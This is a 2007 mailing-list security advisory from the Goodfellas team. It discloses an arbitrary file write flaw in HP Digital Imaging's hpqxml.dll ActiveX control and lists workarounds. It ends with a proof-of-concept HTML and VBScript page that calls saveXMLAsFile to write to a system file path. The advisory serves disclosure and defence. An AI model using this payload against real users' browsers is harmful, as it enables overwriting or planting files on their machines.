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[GOODFELLAS - VULN] hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write.
From: "Goodfellas SRT" <goodfellas () shellcode com ar>
Date: Thu, 28 Jun 2007 01:20:21 +0200


:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write
===================================================

Internal ID: VULWAR200706275.

Introduction

hpqxml.dll is a library included in the HP Photo Digital Imaging
software package from the HP Company. http://www.hp.com.
Link:
http://www.hp.com/united-states/consumer/digital_photography/home_f.html


Tested In

- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0


Summary

The saveXMLAsFile method doesn't check if it is being called from the
application
or from a malicious user.


Impact

The vulnerability is due to an error in the saveXMLAsFile method that
manipulate
local files insecurely, which could allow malicious users to write
arbitrary
data to any file on a vulnerable system. Besides, the method does not
check the 
file headers before writing.


Workaround

- Activate the Kill bit zero in
clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3.
- Unregister hpqxml.dll using regsvr32.


Timeline

June 27, 2007 -- Bug discovery.
June 27, 2007 -- Bug published.


Credits

 * Brian Mariani <bmariani () shellcode com ar
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>


Technical Detail

saveXMLAsFile method receives a filename as an argument, with this format
"c:\path\file".


Proof of Concept

<html>
<head>
<title>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</title>
</head>
<body>
<h3>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</h3><br>

<object classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3' id='target'
/></object>

<input language=VBScript onclick=HP() type=button value="Proof of
Concept">

<script language = 'vbscript'>

Sub HP() 

 filename = "C:\NTDETECT_.COM"

 target.saveXMLAsFile filename 

End Sub

</script>
</body>
</html>

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